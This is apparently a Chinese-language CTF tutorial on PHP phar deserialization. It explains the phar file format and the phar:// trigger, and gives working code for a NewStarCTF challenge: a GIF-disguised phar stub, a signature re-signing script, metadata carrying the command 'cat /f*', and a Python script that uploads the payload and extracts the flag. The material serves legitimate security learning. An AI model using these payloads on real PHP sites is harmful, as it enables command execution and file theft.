phar介绍
phar是什么
在php手册中,phar的简介是这样的
phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做“phar”(PHP 归档)文件的方法,以便于分发和安装。 除了提供此服务外,phar 扩展还提供了一种文件格式抽象方法,用于通过 PharData 类创建和操作 tar 和 zip 文件,就像 PDO 提供访问不同数据库的统一接口一样。与不能在不同数据库之间转换的 PDO 不同,phar 还可以使用一行代码在 tar、zip 和 phar 文件格式之间进行转换。参见 Phar::convertToExecutable() 中的示例。
什么是 phar?phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。默认开启版本 PHP version >= 5.3
简单来说,phar就是一种php的压缩包,里面可以存储多个文件,然后不用解压php就可以执行里面的文件(其实这更像是一个文件夹)
phar怎么组成
phar由四部分组成
- stub:算是phar的文件头,用来标识这个文件,他其实就是一段php代码,代码需要有特定的格式为**xxx,这个的意思就是在这段代码里前面是什么不重要,但是最后必须要有一段__HALT_COMPILER()**,否则php不会认出来
- manifest:用于存放文件的属性等信息,全称是 a manifest describing the contents ,可以存放用户自定义的Meta-data,所以是phar反序列化攻击的核心点
- contents:用于存放phar文件的主体内容,全称是 the file contents
- signature:是phar的签名,放在文件末尾,是可选参数,尾部的数字代表如下:01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
这里要注意如果我们修改了文件内容,前面就会无效,这里就需要更换一个新的签名,计算的脚本如下:
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
phar怎么生成
首先需要去把php.ini的phar.readonly从On改成Off,如果前面有分号注释记得删了
然后使用如下代码
<?php
class test{
public $name='gdd';
}
$phar = new Phar('test.phar');//新建一个空的phar
$phar->startBuffering();//开始填入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//添加头,GIF89a表示这是gif来绕过,HALT_COMPILER()说明这是phar让php认出来
$o = new test(); //新建一个对象
$phar->setMetadata($o); //把对象丢进data
$phar->addFromString('test.txt', 'test') ;//添加正文内容,可以自定义phar压缩包里面的文件和文件内容
$phar->stopBuffering(); //停止填入
生成的文件长这样
phar怎么反序列化
反序列化的成因
前面也说到在manifest
里可以存放序列化数据, PHP 使用 phar_parse_metedata() 函数解析 meta 数据时,会调用 php_var_unserialize() 函数进行反序列化。
然后配合上phar伪协议phar://的触发,然后再搭配上一些受影响的函数,让他进行反序列化,受影响的函数有这些
反序列化的利用条件
- 首先需要有上面这些受影响的函数,就是需要入口
- 在题目中有存在可以利用的魔术方法作为POP链
- 文件操作函数可控,关键字没有被过滤
反序列化的例子
from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag\{.+?\}'
url="http://3546e630-6a37-4301-b909-64fa15c11dba.node4.buuoj.cn:81/"
params={
'pear':'1.phar',
'apple':'phar://1.phar'
}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
#删除源文件
os.remove('1.phar')
with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
#fin的post内容
print(fin.url)
# print(fin.text)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
#查找fin中的flag字段
# os.remove('newtest.phar')
<?php
class story{
public $eating = 'cat /f*';
public $God='true';
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$o = new story();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
例题
newstarctf2023 week5 “Unserialize Again”
https://www.mi1k7ea.com/2019/01/01/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E